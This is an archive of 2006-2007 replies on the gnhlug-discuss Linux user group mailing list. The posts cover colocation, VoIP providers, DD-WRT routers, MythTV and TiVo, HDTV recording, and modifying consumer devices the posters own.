gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: MV communications colocation
On Mar 9, 2007, at 10:17 AM, Drew Van Zandt wrote: Does anyone in the LUG have colocation experience with MV communications? I know I've heard good things in general about them on the LUG, but I'm specifically looking for experience with their Manchester colocation facility. The girl on the phone said they had UPS's but no backup generator, so uptime discussions would be particularly interesting to me. Also, there's little discussion of bandwidth on their website. Thanks for any info you can share I worked there for a while, and I know MEM is on the list so he might chime in. They have a very nice colo for the size and the staff there is great. I used to work there (actually my first computer related job). The reason they don't have a backup generator is because they lose power so infrequently it's not worth the investment. For the cost it's a great deal for what you get. If you're looking for something better you could try Colospace.com. They have a Manchester facility that worked at when I was an employee of them. It's more upscale and they have plenty of backup power, but it's also more expensive. It's actually about a block away from MV. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Portable audio player
You could check the apple refurb site: http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa/wa/ RSLID?mco=32DAAC51nclm=Certified You might be able to pickup an ipod that can run ipod linux or rockbox to get your ogg support. The first gen nanos are supported by rockbox and the 1Gig versions are $80 on that site. If you keep it with the Apple firmware and use it for the gym you could get the nike kit and hack your existing shoes to fit the transmitter. (that's what I did with my wife's shoes) On Mar 6, 2007, at 12:16 PM, Cole Tuininga wrote: Hey folks - I've been starting to go to the gym quasi-regularly, so I think it may finally be time to break down and get a portable audio player. Looking for any suggestions... My requirements are: * Inexpensive * Linux compatible * Inexpensive * mp3 playback (ogg would be nice, but not required) * Inexpensive * Has a standard 1/8 headphone jack (are there any that don't?) * Inexpensive I don't need something huge - a GB or so would be plenty. Thoughts? Thanks in advance! -- Cole Tuininga [EMAIL PROTECTED] http://www.code-energy.com/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: pcHDTV 5500 card - Connector comes loose?
Also, its one of the few, if not only, HD cards that doesn't look at the broadcast flag. On Mar 4, 2007, at 9:59 PM, Thomas Charron wrote: pcHDTV is the Linux HDTV card. www.pchdtv.com, the only manufacturer I've heard of which released Linux drivers with no Windows drivers. On 3/4/07, Paul Lussier [EMAIL PROTECTED] wrote: Ben Scott [EMAIL PROTECTED] writes: Can other owners of the pcHDTV 5500 confirm their card shares this (ahem) feature? If so, any ideas on improving the attachment, so that a poorly aimed mouse fart won't knock it off the tuner module again? Who's the manufacturer of this card? I'd like to know so I can avoid them... -- Seeya, Paul -- Key fingerprint = 1660 FECC 5D21 D286 F853 E808 BB07 9239 53F1 28EE A: Yes. Q: Are you sure? A: Because it reverses the logical flow of conversation. Q: Why is top posting annoying in email? ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- -- Thomas ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: The Debian Flamewar Strikes Back! (was: ARTICLE - ESR gives up on Fedora)
OSX On my Macbook (with a WinXP Parallels VM for work stuff) Ubuntu Server on my colo server Ubuntu Server on my home server (file/print) KnoppMyth on my new MythTV box in the basement and a mix of CentOS and Fedora at work I also have an old Dell laptop for a backup that runs WinXP. On Feb 27, 2007, at 8:59 AM, Tom Buskey wrote: Most people seem to be doing just one distribution. Is anyone else doing multiples? I'm running: Xubuntu on my laptop (I wanted to learn some debianisms) WinXP on the family PC MacOSX on the family Macintosh Fedora on my home server (I grew up w/ RedHat/Mandrake after starting w/ SLS/Slackware) Solaris 10u3 x86 on my file server (ZFS rocks!) OpenBSD sparc on my firewall Fedora on my work desktop and work servers ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Hacking the Razr 3m?
There are basically two ways I know to hack it.. One is to reflash the device with another providers firmware, the other is to use work arounds to get extra features. I don't know how to do either under linux. I did the work around method for my wife's Razr using this site - http://www.hacktherazr.com/ The other method is outlined here in great detail - http:// wiki.howardforums.com/index.php/ Motorola_V3c_Tutorial:_Flashing_to_Alltel_User_Interface BitPim is also a good place to start. On Feb 23, 2007, at 3:48 PM, Ed Lawson wrote: Looking at the quick start manual from Verizon for my new Razr 3m phone, it seems they think it is basically a means to sell me their content as opposed to a phone. So I suspect it has been programmed to do only what serves this purpose. Anyway, it has a USB port which suggests it can be hacked to do other things. Anyone have experience with this phone and using it with Linux? Being able to upload info would be very nice. TIA -- Ed Lawson Ham Callsign: K1VP PGP Key ID: 1591EAD3 PGP Key Fingerprint: 79A1 CDC3 EF3D 7F93 1D28 2D42 58E4 2287 1591 EAD3 ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Linux hosting options, pros and cons
A client with a database-backed LAMP application is considering moving to a new hosting provider for their system. Surfing the web, they find all of these $6.95/month deals and can't figure out why anyone would pay more. I know there are a number of folks on the list who provide such services for themselves or their customers, and would welcome feedback, from what questions should be asked to what features we should be looking at. (I should explain we - I am the developer of the app, and an adequate sysadmin, and will likely end up installing, configuring and maintaining the system) From what I've seen most of these $10/month deals fail for some of your requirements. SSL I doubt you'll be able to find SSL for such low cost. Since most low cost webhosting is just shared virtual hosting. You can't do that with SSL. The few that do will only offer a shared site certificate and probably require you to use a less then ideal url to access secure pages. PHP 4.3 or better with the ability to add PEAR modules Ability to add any modules will probably be limited, if allowed at all. MySQL 4.1.19 or later or 5.1 Again, if a shared webhosting company even has MySQL, it will probably be shared with other customers, and you'll most likely only get one DB. ssh/scp access, preferably on a non-standard port Even with higher end webhosting, unless you own/rent the machine/ virtualserver you probably won't be able to do something on a non- standard port. ability to add custom cron jobs With the low cost webhosting you'll be lucky to get a prompt. My advice would be either to rent/buy/lease a server or find someplace that can give you a virtualserver. Keep in mind that most virtual server setups I've seen for this kind of thing have been FreeBSD jail systems (not that it's a problem, just an observation).. Brian Karas (from the list) does a personal colocation service (http://karas.net/colo/index.html). My box is hosted with him and I have no complaints. -Travis ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: SIP Provider suggestions?
That said, I'm wondering if anybody out there has any recommendations for decent SIP providers? I'm not interested in somebody like Vonage, simply because you have to go through extra hoops (and, if I understand correctly, pay extra money) to get your username/password so you can plug it into Asterisk. I would go with Broadvoice. They have the BYOD (Bring Your Own Device) plan that's only $6/month (ends up being about $9 after taxes and whatnot) and you can upgrade to full service once you get all the bugs worked out. Their support is fantastic and they were very helpful with helping me get my HT-286 working --Travis ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Vonage vs. Verizon
But, with Broadvoice, I have a choice. With Vonage, I don't. I suppose, though I don't feel I need a choice at this point. Oh, okay.. I guess we'll just switch back to one phone company so you get no choice at all. Hopefully they'll be willing to even offer VoIP services. :) ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Linux at least mentioned in passing as an alternative to Windows
Here's the text Or, consider something else entirely. If you really want a new operating system, there are plenty of options out there for experimentation. And they’re free. Yeah, I’m talkin’ ‘bout Linux. I know what you’re thinking: no applications, spotty hardware support and lots of command-line typing. I can’t honestly tell you that Linux is free of these disadvantages, but it’s easier than ever to try out Linux without a lot of pain. Various Linux distributions have long been available for free download. All you needed was patience and a CD burner and a willingness to futz with your hard drive’s partitions. That was too much commitment and risk for some people. Now, many distributions let you download what’s called a Live CD. There’s nothing to install — once you download the operating system and burn it to CD, it runs right from that. In some cases, you can even download to a USB flash drive. Best of all, a few distributions have been made a lot smaller for a quick download. Take SLAX. Based on the hardcore Linux geek’s favorite distro, Slackware, SLAX comes in a few compact sizes. Frodo Edition is 53MB, but it’s just a text console. Popcorn Edition is twice the size at 115MB, but includes a graphical user interface, the Firefox browser and AbiWord document editor. Damn Small Linux packs a graphical desktop, a music player, three browsers, spreadsheet and word processing programs and a bunch more into just 50MB. Like SLAX, it can run from a mini CD or a USB drive. There are literally too many other options to list here, but try looking at www.livecdlist.com. Or just buy a Mac. --- I think he's a bit off the mark. Ubuntu, Fedora, Etc. are all VERY easy to install (easier than Windows at this point). Also, I don't know any desktop linux that -requires- you to mess around with partitions during the install. He also fails to bring up really quality desktop linux distros like I mentioned, focusing more on LiveCDs (and not very popular or widespread ones in my opinion). Talking about a Frodo edition that's only 53MB but is only a console is going to have people worried about trying Linux running for the hills. On Jan 18, 2007, at 11:18 AM, Mark Mcsweeney wrote: Saw this article in the Hippo Press: http://www.hippopress.com/techie.html mentioned was the option of switching to alternative OS when Vista comes out. I also wrote an email to him recommending that he look at some of the current distros and review them in his columns. It will be interesting if and how he responds. Mark ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Vonage vs. Verizon
I use Vonage over Broadvoice for one reason: I don't want to admin a phone system. I want something I can easily tell my wife how to deal with: Go pull the plug on the LinkSys box, count to 10, plug it back in. and Broadvoice has that. They have a plan that's about the same price as Vonage, where they give you a box and tou plug it in. Or, you can buy your own and they send you the settings to get it to connect initially and then it gets it's updates from them (This is what I do, I have an HT-286). I did the initial setup and that was it. But, with Broadvoice, I have a choice. With Vonage, I don't. --Travis ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Reliable wireless APs?
Simple enough.. Linksys WRT-54G running the DD-WRT firmware. I've had mine for a couple years now, LOVE it.. Does everything I want and more, and since I can boost the power I have great range as well. Just make sure you get the right version of the hardware that will work properly with DD-WRT On Jan 10, 2007, at 3:38 PM, Neil Joseph Schelly wrote: I know this is a question bound to evoke lots of opinion, but that's kind of what I'm aiming for. I've been replacing cheap home APs/routers too often lately and have had two fail in my office recently. Serving only a few people, maybe, at a time, wireless access points from a big name like Cisco seem like overkill. While they may be more reliable, ther prohibitive price tags are just not worth it here. Has anyone had any good experience with spending in the range of $100 or so on an access point or router that offers something in the way of reliability more than the cheap $30-40 range equipment? I'm not overly concerned with features, so long as 128-bit WEP is supported, especially since I'll use it only as an access point, not a router. Thanks, -Neil ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [OT] From Texas to New Hampshire
On Dec 18, 2006, at 9:33 AM, Jon maddog Hall wrote: [EMAIL PROTECTED] said: To me Austin is MUCH better than NH from a quality of life standpoint I think for a bachelor or a young married (but childless) couple who likes to party, this might be true. I think it starts to even out when you start to have children. IF you start to have children ;-) Eventually he got a job with a small company but they are only paying him 35K. However with that job he is able to afford a 4 bedroom house with a one car garage on a 1/2 acre lot with a fenced in back yard. Yes, but when he went to buy that car to put in that garage, he was only making 35K per year. Unless cars sell for a lot less in Austin then they sell other places his salary affects the type of car he can buy, the amount of money he can invest, etc. Not to mention the condition of the house! :) If you don't mind a longer commute (and remember snow can make a long commute much longer) than you should be able to find housing that is comparable to Austin. It snows three to four times a year to the point that the commute becomes much longer. And sometimes those snows happen on weekends or holidays. The other 200 working days things are fine. Not to mention depending on the type of IT work you do, a few days here or there telecommuting is fine with most employers. More so when the weather is unsafe. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Traveling with a big file
I'm trying to physically carry a large (4.5GB) iso file from home, over to a coworker's office. Although I can burn the image back to a DVD, I get an error that the file is too large when I try a straight copy to the DVD. So, I hooked up a FIRELITE usb disk, and did a copy to a directory there. I tried this twice, but each time, after 4GB were copied, I got a file size error (the file is too large). I ran into the burning issue with some DVDs. Any chance you can try a different brand of blank, or a different burner? One kind of Sony discs I can't burn to full capacity with my macbook, but memorex discs work fine. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Comcast Alternatives? Was Re: Why must Comcast's DNS suck?
On Tue, 14 Nov 2006, Michael ODonnell wrote: I have no love for ComcCast - I'd drop them yesterday if I had any better (or even comparable) choices - I use Earthlink for my cable service... It's from Comcast, and my bill actually comes from Comcast, but I get an Earthlink IP, Earthlink DNS, and Earthlink reverse DNS. I did this because I have DirecTV. If you have Comcast for TV and internet, then Comcast is cheaper, but if you don't use Comcast for TV service Earthlink is cheaper (due to Concast's bundle discounts). I've been very happy with it. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Comcast Alternatives? Was Re: Why must Comcast's DNS suck?
If I have a serious problem with the wireless feed at work, I can drive to the ISP's office in the next town, and beat the owner over the head with his radio. Just don't call first.. When I worked at the MediaOne NOC (under my horrible manager there) some guy called saying he was going to kill and/or beat one of the callcenter people (they worked upstairs). We were in lockdown for a few hours and couldn't leave the building.. Not that there was much to do at 3am, but it still sucked. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Tivo vs MythTV (was: *pout* HDTV No Recordee....)
If you want the best how-to for MythTV for just getting a box up and working then this is it: http://wilsonet.com/mythtv/fcmyth.php I used it the two times I set up a myth box and it was great. But having a Tivo that just works and as somebody that loves the suggestions feature (something MythTV didn't have at the time, and I'm not sure if it does now) I stopped using MythTV. That and I had stability problems. But this was 2-3 years ago. On Nov 8, 2006, at 8:10 AM, Tom Buskey wrote: On the Tivo, I can tell it to record everything with an actor (Tom Hanks say) or genre (motorcycle racing) or keyword (quilting). When I select a series, I can say only 1st run; no repeats. I guess alot of that comes down to the quality of your schedule information. Is it there? http://www.mythtv.org/docs/mythtv-HOWTO-12.html Can Myth be used like a PC displaying on the TV? I use Galleon on the Tivo to play shoutcast, show weather, podcasts, movie times and locations, etc. I'd imagine Myth can do that. http://www.mythtv.org/docs/mythtv-HOWTO-14.html Ted Roche Ted Roche Associates, LLC http://www.tedroche.com ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Tivo vs MythTV (was: *pout* HDTV No Recordee....)
We are, after all, comparing a multi-million-dollar consumer appliance with an unfunded open-source project. The fact that they are of a comparable value is a remarkable tribute to the Open Source process, imo. Absolutely. I'm not trying to disparage MythTV. I'm just trying to make a budget decision: Is an S3 TiVo worth the extra dollars to reduce the time-and-effort investment? I'm starting to suspect the answer is No. Well I think it all depends on what exactly you're looking for. If you want cablecard support for your premium channels and for it to work seamlessly with your cable company, you're probably going to want a TiVo. Also go with TiVo if you're looking for TiVo features you can't get with MythTV (suggestions come to mind). At least with MythTV to try it out all you really need is spare equipment in order to at least get a feel for it and see if you like it's feature set. No need to go out and buy a powerhouse computer and HD tuner card. Just throw in a spare WinTV card you can usually get for free from somebody not using one, or a few bucks at a computer show. As a DirecTV user I'm kind of stuck with either tying my receiver into a MythTV box somehow, or sticking with the DirecTV DVR. I'm currently using my DirecTiVo that I hacked in order to get more space and more features (such as TiVoWeb and tyserver to pull shows off it). ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: MythTV / DirecTV possible solution *FOUND*
Worthless. the HD TiVo box that DirecTV sold only supports premium HD content and will NOT support DirecTV HD Local channels. They are encrypted in a different way (mpeg4) that the HD DirecTiVo can never support due to hardware limitations. On Nov 8, 2006, at 2:15 PM, Thomas Charron wrote: Hrm.. It would seem I was partially incorrect. DirecTV USED to have a DirecTV/Tivo HD box named the HR10-250. They dont make them anymore, I'm looking into the differences between the capabilities the HR10-250 providers. It can aperently be hacked as easy as any other Tivo, and hence, get it's data out which I could then 'migrate' over to the MythTV setup. *cackles with insane glee* Thomas ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: MythTV / DirecTV possible solution *FOUND*
Unless, of course, DirecTV wanted to set them up so they could move away. ;-) DirecTV/TiVo contract was going to be up in 2006 when they came up with it, and they both knew it wasn't going to be renewed. They have since been forced by the customer base to support existing DirecTiVo units until 2008 since we all love the TiVo interface. :) ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: *pout* HDTV No Recordee....
There is, you just have to use DirecTV's DVR. The Tivo HD-DVR can do it, and the new upcoming DirecTV HDDVR will be able to do the HD Locals. Getting DirecTV setup, and I don't know why I never noticed, but.. There's no way to record HD from a satalite provider. *le pout* Thomas ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: *pout* HDTV No Recordee....
Isn't that true with even non-HD DirecTV programming?I've never found a way to do it, not that I've looked that hard. But I know the stream is encrypted. I MEANT in a way I could get to it from Linux. ;-) I KNOW DirecTV offers HD PVR.On 11/7/06, Thomas Charron [EMAIL PROTECTED] wrote: Getting DirecTV setup, and I don't know why I never noticed, but.. There's no way to record HD from a satalite provider. *le pout* Thomas ___gnhlug-discuss mailing listgnhlug-discuss@mail.gnhlug.orghttp://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Tivo vs MythTV (was: *pout* HDTV No Recordee....)
I'm not sure the MultiRoom viewing thing is available either. For me, I just have my tivo and my normal receiver are in the basement. They go into a dual channel modulator. I have a couple IR repeaters. Now I have TiVo in every room at any time and dont' have to buy more hardware. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Streaming media
Actually, it can't.. You have to use either Shout (old) or ices (new) and both weren't that good for options.On Nov 6, 2006, at 11:28 AM, Thomas Charron wrote: Icecast can stream files directly from the drive. I can't recall the way to configure it, but you can just point it at a directory. ThomasOn 11/3/06, Travis Roy [EMAIL PROTECTED] wrote: I've setup icecast, but it requires something to send music to it,and I haven't found anything that "just works" from a command promptto do this.___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Testing
Just a test -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Spam and mailing lists
Since I suggested it I should probably explain why I suggested this change. It's very simple... I perfer that mailing lists have the name of the list in the subject. That's all. I could adjust my mail client or maybe create a .procmailrc entry to :0: this into a different mbox, but I don't... I'm not into e-mail segregation and a quick glance of [listname] is just visual appealing and easy to do a quick mental sort. I'm with Kenta. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
seemingly 100% Exchange Alternative
I haven't tried this (yet) but it looks VERY good. http://www.postpath.com No plugins required. -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Re: Latest shenanigans with rcn
I pay an extra $20/month for what they call a static IP address. It's still served up via dhcp and the address comes from their dynamic address pool, but it doesn't change. The real reason for getting it though is so that they open up incoming 80 and outgoing 25. I'm just curious why you don't just spend the extra $30/month and host a server with Brian Karas' colo? Servers can be fairly cheap now, you'll get a real static IP with control of your reverse DNS, backup power, and a secure location. I just moved my server there and it's working great. No blocked ports, no BS. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Re: Time sink [was Re: 3KID, is this a new operating system?]
We (here at work) made it to 30 yesterday. I gather that others on the list did, too. Is there a good payoff at least? ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Re: OT: email service - gmail
That said, considering that gmail keeps archives of all messages, I'd put some thought into how comfortable you are with having somebody else keep a copy of your email. Personally, I only ever use my gmail account for public mailing lists I'm on. And who's to say that any email on any server isn't archived for who knows how long... Unless you have total control of both the incoming and outgoing mail server, and all points in transit (either directly or by the use of encryption) anybody technically could have a copy of any email sent through their system. Going by Google's track record I'd trust them far more than most ISPs I've used. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Video Conversions
I've recently started getting Mystery Science Theater 3000 episodes from dapcentral.org.Most of them are encoded with MS-MPEG4v2/Nandub.What I want to do is convert them to burn them to a DVD. Does anybody know of any console based Linux utilities to do this. I was using ffmpegX on my mac, but I ended up with an audio drift problem where the more the movie goes on, the more out of sync it gets. I heard this has to do with the audio being VBR. I have yet to find a Mac app that can fix this issue.-- Travis Roy
Re: Dealing with multiple layers of routers
Now, the wrt54G has always been 16/4 until the switch to VXworks w/ v5 The wrt54GS was 32/8 until it went 16/4 with v4.0 and 16/2 with v5 and VXworks.If you want to buy a new, linux version, the wrt54GL still runs linux (that's the L) and is 16/4 like the wrt54G v4So, the bad news is that they switched to VXworks and the RAM/Flash reduction outweighed the licensing costs. However, people were buying enough of them because they could modify the linux firmware to justify a continued linux version. I have the 16/4 version and there's more than enough room for dd-wrt to work. Plus you can always mount a share if you need more space for logging or whatnot.I love mine, but I think I'm do for a firmware upgrade.
Re: Dealing with multiple layers of routers
One of the things wired to the Netgear is the internet port of aLinksys wireless-G router (probably too new to install Linux on it), which serves up a wireless network on 192.168.1.xxx.I would check the dd-wrt website and see if you can install linux on it, you might luck out.What I would do is find a linksys G router that you can install dd-wrt on (if this one turns out to be one you can't). You never said anything about the netgear, if it's a small one similar to the linksys I would replace the netgear with a dd-wrt linksys and put the wireless on the DMZ and do it that way.Just a thought anyway. Might be worth it in time savings. The other option if the netgear supports a DMZ port is to put the linksys in bridge mode and hang it off the DMZ port on the netgear.
Re: Dealing with multiple layers of routers
I'm interested to hear that you wish you could own a V3 becausewhen I look at the charts shown here: http://en.wikipedia.org/wiki/WRT54G...I don't see important differences between the V3 and V4.Are the charts misleading? He's probably thinking of the WRT54GS, the memory amounts go down after that.
Re: Ubuntu u/g to Dapper.
You might want to check this: http://easylinux.info/wiki/Ubuntu_dapper#Print_Server_.28cupsd.29 On May 25, 2006, at 9:35 AM, Ken D'Ambrosio wrote: Hey, all -- I just upgraded to Dapper (basically via one big apt- get), and now I don't have a few options off my System - Preferences menu; the ones I've noticed as missing are printing and screensaver. Since both CUPS and xscreensaver are installed, I'm at a loss as to how to put the menu items back. Any suggestions? Thanks, -Ken ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Re: Linus with Live Free or Die plate (photo)
On May 17, 2006, at 8:22 AM, Sarunas wrote: This is were I saw the license plate for the first time: http://www.nelinux.net/ That doesn't even look like a NH plate, not even the older ones. Anybody else have a good plate? I had one that said HAXXOR for a while. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
Re: Replacement for Yahoo Domains
On Thursday 11 May 2006 12:16, Neil Schelly uttered thusly: That's pretty expensive - have you looked at DynDNS.org? They've got a lot of good services along those lines and they are very good at what they do. -N I actually know a guy who works there. Good company. So do I, and I interviewed there. Needless to say my opinion isn't quite the same, but that's not for this list. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss
